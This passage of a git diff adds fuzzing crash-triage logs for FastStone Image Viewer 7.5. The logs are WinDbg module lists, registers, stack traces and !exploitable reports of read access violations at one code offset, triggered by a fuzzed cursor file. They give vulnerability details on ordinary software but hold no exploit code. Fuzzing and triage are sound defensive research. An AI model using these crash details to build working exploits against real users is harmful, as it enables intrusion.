00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1ebc.fac): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ea7b10 edx=00003879 esi=12738f10 edi=07cb0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.65034e-012 -2.53715e+014 -5.12378e+032 -1.4879e-029 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00359000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00359000 a6ee510d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00359000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/69818/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..63ad63b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x0000000014f60002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..289c353 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c6d7fc6 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,195 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EFC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EFC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +ModLoad: 00000000`73730000 00000000`737e9000 C:\Windows\SysWOW64\textinputframework.dll +ModLoad: 00000000`73410000 00000000`734ab000 C:\Windows\SysWOW64\CoreMessaging.dll +ModLoad: 00000000`734b0000 00000000`7372e000 C:\Windows\SysWOW64\CoreUIComponents.dll +ModLoad: 00000000`75430000 00000000`75493000 C:\Windows\SysWOW64\WS2_32.dll +ModLoad: 00000000`733e0000 00000000`73409000 C:\Windows\SysWOW64\ntmarta.dll +ModLoad: 00000000`73300000 00000000`733de000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13d90000 00000000`13e6e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`13e70000 00000000`13f4e000 C:\Windows\SysWOW64\wintypes.dll +ModLoad: 00000000`73190000 00000000`732f6000 C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.264_none_4298d4188a939fa9\gdiplus.dll +(1efc.480): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=14f90002 ebx=00000e1e ecx=07e78180 edx=000005a6 esi=1282b730 edi=0c3bcfd4 +eip=005bdfc9 esp=14f8f868 ebp=14f8fd10 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=0020: top=0 cc=0000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0= 0.000000000000000000000e+0000 st1= 0.000000000000000000000e+0000 +st2= 0.000000000000000000000e+0000 st3= 0.000000000000000000000e+0000 +st4= 8.483113948083064080000e+0017 st5= 8.483136281913003520000e+0017 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0 0 0 0 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:14f90002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +14f8fd10 0060d6fc 00000000 14f8fd78 14f8fd48 image00000000_00400000+0x1bdfc9 +14f8fd88 005ff93f 14f8fde8 005ffbc2 14f8fde0 image00000000_00400000+0x20d6fc +14f8fde0 0090e28b 14f8fdf4 0090e3b5 14f8fe38 image00000000_00400000+0x1ff93f +14f8fe38 0090efea 14f8fea4 14f8fea8 14f8feac image00000000_00400000+0x50e28b +14f8fec0 008d05d5 14f8fed4 008d06ab 14f8ff00 image00000000_00400000+0x50efea +14f8ff00 008d0991 14f8ff14 008d0a43 14f8ff2c image00000000_00400000+0x4d05d5 +14f8ff2c 0042c0bf 14f8ff40 0042c0c9 14f8ff5c image00000000_00400000+0x4d0991 +14f8ff5c 00404c22 14f8ffcc 0040475c 14f8ff70 image00000000_00400000+0x2c0bf +14f8ff70 7572f989 07f7bec0 7572f970 14f8ffdc image00000000_00400000+0x4c22 +14f8ff80 770b7084 07f7bec0 922dabff 00000000 KERNEL32!BaseThreadInitThunk+0x19 +14f8ffdc 770b7054 ffffffff 770d6293 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +14f8ffec 00000000 00404bf8 07f7bec0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x14f90002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05151902 +STACK_DEPTH:12 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x50e28b +STACK_FRAME:image00000000_00400000+0x50efea +STACK_FRAME:image00000000_00400000+0x4d05d5 +STACK_FRAME:image00000000_00400000+0x4d0991 +STACK_FRAME:image00000000_00400000+0x2c0bf +STACK_FRAME:image00000000_00400000+0x4c22 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x05151902) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..c6d7fc6 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x05151902/10665/WindowsDebugEngine_description.txt @@ -0,0 +1,195 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1EFC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1EFC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 